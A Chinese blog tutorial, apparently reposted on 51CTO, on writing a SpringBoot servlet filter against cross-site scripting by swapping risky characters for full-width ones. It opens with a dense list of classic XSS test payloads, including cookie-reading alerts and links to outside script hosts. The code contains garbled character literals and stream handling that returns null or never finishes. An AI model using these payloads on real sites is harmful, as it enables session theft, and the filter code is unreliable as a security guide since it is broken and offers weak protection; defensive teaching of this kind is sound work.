登录
登录 注册新账号
注册
已有账号登录
SpringBoot + xss 跨站脚本***实战
zcq100 阅读 26 次
5月3日发布

我百度搜索了一下,跨站脚本***,相关内容超过 500 多万,但是相比 NPE 来说,显然还不够。很多程序员不重视跨站脚本***,导致很多开源项目都存在这样的漏洞。


今天我们基于 SpringBoot 来实现一个跨站脚本过滤器,彻底的搞定跨站脚本***!


<script>alert('hello,gaga!');</script>>"'><img src="javascript.:alert('XSS')">>"'><script>alert('XSS')</script><table background='javascript.:alert(([code])'></table><object type=text/html data='javascript.:alert(([code]);'></object>"+alert('XSS')+"'><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert(vulnerable)</script><script>alert('XSS')</script><img src="javascript:alert('XSS')">%0a%0a<script>alert("Vulnerable")</script>.jsp%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html<script>alert('Vulnerable')</script>a.jsp/<script>alert('Vulnerable')</script>"><script>alert('Vulnerable')</script><IMG SRC="javascript.:alert('XSS');"><IMG src="/javascript.:alert"('XSS')><IMG src="/JaVaScRiPt.:alert"('XSS')><IMG src="/JaVaScRiPt.:alert"("XSS")><IMG SRC="jav	ascript.:alert('XSS');"><IMG SRC="jav
ascript.:alert('XSS');"><IMG SRC="jav
ascript.:alert('XSS');">"<IMG src="/java"0script.:alert("XSS")>";'>out<IMG SRC=" javascript.:alert('XSS');"><SCRIPT>a=/XSS/alert(a.source)</SCRIPT><BODY BACKGROUND="javascript.:alert('XSS')"><BODY ONLOAD=alert('XSS')><IMG DYNSRC="javascript.:alert('XSS')"><IMG LOWSRC="javascript.:alert('XSS')"><BGSOUND SRC="javascript.:alert('XSS');"><br size="&{alert('XSS')}"><LAYER SRC="http://xss.ha.ckers.org/a.js"></layer><LINK REL="stylesheet"HREF="javascript.:alert('XSS');"><IMG SRC='vbscript.:msgbox("XSS")'><META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');"><IFRAME. src="/javascript.:alert"('XSS')></IFRAME><FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET><TABLE BACKGROUND="javascript.:alert('XSS')"><DIV STYLE="background-image: url(javascript.:alert('XSS'))"><DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"><DIV STYLE="width: expression(alert('XSS'));"><STYLE>@import'javascript:alert("XSS")';</STYLE><IMG STYLE='xss:expression(alert("XSS"))'><STYLE. TYPE="text/javascript">alert('XSS');</STYLE><STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A><STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE><BASE HREF="javascript.:alert('XSS');//">getURL("javascript.:alert('XSS')")a="get";b="URL";c=

上面的内容就是我们常见跨站***脚本,有些安全企业基于此制作了在线的跨站***漏洞检测工具。


废话不多说了,我们直接开始动手吧!


先实现一个过滤器。

public class XssFilter implements Filter {    @Override    public void init(FilterConfig config) throws ServletException {}    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)            throws IOException, ServletException {        XssHttpServletRequestWrapper xssHttpServletRequestWrapper = new XssHttpServletRequestWrapper((HttpServletRequest)request);        chain.doFilter(xssHttpServletRequestWrapper, response);    }    @Override    public void destroy() {}}


再实现一个敏感字符转换类。


  1. public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
  2. HttpServletRequest orgRequest = null;

3.

  1. private String body;

5.

  1. public XssHttpServletRequestWrapper(HttpServletRequest request) {
  2. super(request);
  3. orgRequest = request;
  4. body = HttpGetBody.getBodyString(request);
  5. }

11.

  1. /**
  2. * 覆盖getParameter方法,将参数名和参数值都做xss过滤。
  3. * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
  4. * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
  5. */
  6. @Override
  7. public String getParameter(String name) {
  8. String value = super.getParameter(xssEncode(name, 0));
  9. if (null != value) {
  10. value = xssEncode(value, 0);
  11. }
  12. return value;
  13. }

25.

  1. @Override
  2. public String[] getParameterValues(String name) {
  3. String[] values = super.getParameterValues(xssEncode(name, 0));
  4. if (values == null) {
  5. return null;
  6. }
  7. int count = values.length;
  8. String[] encodedValues = new String[count];
  9. for (int i = 0; i < count; i++) {
  10. encodedValues[i] = xssEncode(values[i], 0);
  11. }
  12. return encodedValues;
  13. }

39.

  1. @Override
  2. public Map getParameterMap() {
  3. HashMap paramMap = (HashMap) super.getParameterMap();
  4. paramMap = (HashMap) paramMap.clone();
  5. for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext(); ) {
  6. Map.Entry entry = (Map.Entry) iterator.next();
  7. String[] values = (String[]) entry.getValue();
  8. for (int i = 0; i < values.length; i++) {
  9. if (values[i] instanceof String) {
  10. values[i] = xssEncode(values[i], 0);
  11. }
  12. }
  13. entry.setValue(values);
  14. }
  15. return paramMap;
  16. }

56.

  1. @Override
  2. public ServletInputStream getInputStream() throws IOException {
  3. ServletInputStream inputStream = null;
  4. if (StringUtil.isNotEmpty(body)) {
  5. body = xssEncode(body, 1);
  6. inputStream = new TranslateServletInputStream(body);
  7. }
  8. return inputStream;
  9. }

66.

  1. /**
  2. * 覆盖getHeader方法,将参数名和参数值都做xss过滤。
  3. * 如果需要获得原始的值,则通过super.getHeaders(name)来获取
  4. * getHeaderNames 也可能需要覆盖
  5. */
  6. @Override
  7. public String getHeader(String name) {
  8. String value = super.getHeader(xssEncode(name, 0));
  9. if (value != null) {
  10. value = xssEncode(value, 0);
  11. }
  12. return value;
  13. }

80.

  1. /**
  2. * 将容易引起xss漏洞的半角字符直接替换成全角字符
  3. * @param s
  4. * @return
  5. */
  6. private static String xssEncode(String s, int type) {
  7. if (s == null || s.isEmpty()) {
  8. return s;
  9. }
  10. StringBuilder sb = new StringBuilder(s.length() + 16);
  11. for (int i = 0; i < s.length(); i++) {
  12. char c = s.charAt(i);
  13. if (type == 0) {
  14. switch (c) {
  15. case ''':
  16. // 全角单引号
  17. sb.append(''');
  18. break;
  19. case '"':
  20. // 全角双引号
  21. sb.append('"');
  22. break;
  23. case '>':
  24. // 全角大于号
  25. sb.append('>');
  26. break;
  27. case '<':
  28. // 全角小于号
  29. sb.append('<');
  30. break;
  31. case '&':
  32. // 全角&符号
  33. sb.append('&');
  34. break;
  35. case '\':
  36. // 全角斜线
  37. sb.append('\');
  38. break;
  39. case '#':
  40. // 全角井号
  41. sb.append('#');
  42. break;
  43. // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是: %3c
  44. case '%':
  45. processUrlEncoder(sb, s, i);
  46. break;
  47. default:
  48. sb.append(c);
  49. break;
  50. }
  51. } else {
  52. switch (c) {
  53. case '>':
  54. // 全角大于号
  55. sb.append('>');
  56. break;
  57. case '<':
  58. // 全角小于号
  59. sb.append('<');
  60. break;
  61. case '&':
  62. // 全角&符号
  63. sb.append('&');
  64. break;
  65. case '\':
  66. // 全角斜线
  67. sb.append('\');
  68. break;
  69. case '#':
  70. // 全角井号
  71. sb.append('#');
  72. break;
  73. // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是: %3c
  74. case '%':
  75. processUrlEncoder(sb, s, i);
  76. break;
  77. default:
  78. sb.append(c);
  79. break;
  80. }
  81. }

162.

  1. }
  2. return sb.toString();
  3. }

166.

  1. public static void processUrlEncoder(StringBuilder sb, String s, int index) {
  2. if (s.length() >= index + 2) {
  3. // %3c, %3C
  4. if (s.charAt(index + 1) == '3' && (s.charAt(index + 2) == 'c' || s.charAt(index + 2) == 'C')) {
  5. sb.append('<');
  6. return;
  7. }
  8. // %3c (0x3c=60)
  9. if (s.charAt(index + 1) == '6' && s.charAt(index + 2) == '0') {
  10. sb.append('<');
  11. return;
  12. }
  13. // %3e, %3E
  14. if (s.charAt(index + 1) == '3' && (s.charAt(index + 2) == 'e' || s.charAt(index + 2) == 'E')) {
  15. sb.append('>');
  16. return;
  17. }
  18. // %3e (0x3e=62)
  19. if (s.charAt(index + 1) == '6' && s.charAt(index + 2) == '2') {
  20. sb.append('>');
  21. return;
  22. }
  23. }
  24. sb.append(s.charAt(index));
  25. }

192.

  1. /**
  2. * 获取最原始的request
  3. * @return
  4. */
  5. public HttpServletRequest getOrgRequest() {
  6. return orgRequest;
  7. }

200.

  1. /**
  2. * 获取最原始的request的静态方法
  3. * @return
  4. */
  5. public static HttpServletRequest getOrgRequest(HttpServletRequest req) {
  6. if (req instanceof XssHttpServletRequestWrapper) {
  7. return ((XssHttpServletRequestWrapper) req).getOrgRequest();
  8. }
  9. return req;
  10. }
  11. }


接下来我们要使用这两个类。


  1. @Configuration
  2. public class XSSFilterConfig {
  3. @Bean
  4. public FilterRegistrationBean filterRegistrationBean() {
  5. FilterRegistrationBean registration = new FilterRegistrationBean();
  6. registration.setFilter(xssFilter());
  7. registration.addUrlPatterns("/*");
  8. registration.addInitParameter("paramName", "paramValue");
  9. registration.setName("xssFilter");
  10. return registration;
  11. }

12.

  1. /**
  2. * 创建一个bean
  3. * @return
  4. */
  5. @Bean(name = "xssFilter")
  6. public Filter xssFilter() {
  7. return new XssFilter();
  8. }
  9. }


在博客上发表之后,有人说我的类不完整,所以,下面的两个类是上面用到的两个类,贴在这里。


  1. import java.io.ByteArrayInputStream;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.nio.charset.Charset;

5.

  1. import javax.servlet.ReadListener;
  2. import javax.servlet.ServletInputStream;

8.

9.

  1. public class TranslateServletInputStream extends ServletInputStream {
  2. private InputStream inputStream;
  3. /**
  4. * 解析json之后的文本
  5. */
  6. private String body;

16.

  1. public TranslateServletInputStream(String body) throws IOException {
  2. this.body = body;
  3. inputStream = null;
  4. }

21.

  1. @Override
  2. public boolean isReady() {
  3. return false;
  4. }

26.

  1. @Override
  2. public void setReadListener(ReadListener readListener) {

29.

  1. }

31.

  1. @Override
  2. public boolean isFinished() {
  3. return false;
  4. }

36.

  1. private InputStream acquireInputStream() throws IOException {
  2. if (inputStream == null) {
  3. inputStream = new ByteArrayInputStream(body.getBytes(Charset.forName("UTF-8")));
  4. //通过解析之后传入的文本生成inputStream以便后面controller调用
  5. }

42.

  1. return inputStream;
  2. }

45.

  1. @Override
  2. public void close() throws IOException {
  3. try {
  4. if (inputStream != null) {
  5. inputStream.close();
  6. }
  7. } catch (IOException e) {
  8. throw e;
  9. } finally {
  10. inputStream = null;
  11. }
  12. }

58.

  1. @Override
  2. public boolean markSupported() {
  3. return false;
  4. }

63.

  1. @Override
  2. public synchronized void mark(int i) {
  3. throw new UnsupportedOperationException("mark not supported");
  4. }

68.

  1. @Override
  2. public synchronized void reset() throws IOException {
  3. throw new IOException(new UnsupportedOperationException("reset not supported"));
  4. }

73.

  1. @Override
  2. public int read() throws IOException {
  3. return acquireInputStream().read();

77.

  1. }
  2. }


HttpGetBody 代码如下所示:


  1. import javax.servlet.ServletRequest;
  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.io.InputStreamReader;
  6. import java.nio.charset.Charset;

7.

  1. public class HttpGetBody {

9.

  1. /**
  2. * 获取请求Body
  3. * @param request
  4. * @return
  5. */
  6. public static String getBodyString(ServletRequest request) {
  7. StringBuffer sb = new StringBuffer();
  8. InputStream inputStream = null;
  9. BufferedReader reader = null;
  10. try {
  11. inputStream = request.getInputStream();
  12. reader = new BufferedReader(new InputStreamReader(inputStream, Charset.forName("UTF-8")));
  13. String line = "";
  14. while ((line = reader.readLine()) != null) {
  15. sb.append(line);
  16. }
  17. } catch (IOException e) {
  18. e.printStackTrace();
  19. } finally {
  20. if (inputStream != null) {
  21. try {
  22. inputStream.close();
  23. } catch (IOException e) {
  24. e.printStackTrace();
  25. }
  26. }
  27. if (reader != null) {
  28. try {
  29. reader.close();
  30. } catch (IOException e) {
  31. e.printStackTrace();
  32. }
  33. }
  34. }
  35. return sb.toString();
  36. }
  37. }

上面的代码都很简单,原理搞懂了之后,实现起来就非常的顺手。


针对上面的代码,大家可以再进行优化。


除此之外,我还将上面的代码制作成了 starter,其他项目只要引入了我的这个 xttblog-xss-starter,即可实现防御跨站脚本***!


五一放假之后,我发现群里有几个网友,学习动力十足!很看好他们!可惜我在带娃,没时间和他们一起唠叨!空闲时间,码出了这篇文章,希望能对大家有所帮助!


最后还是希望大家多多学习!毕竟 00 后都奔 20 了。祝大家五四青年节快乐!


©著作权归作者所有:来自51CTO博客作者mob604756f5e525的原创作品,如需转载,请注明出处,否则将追究法律责任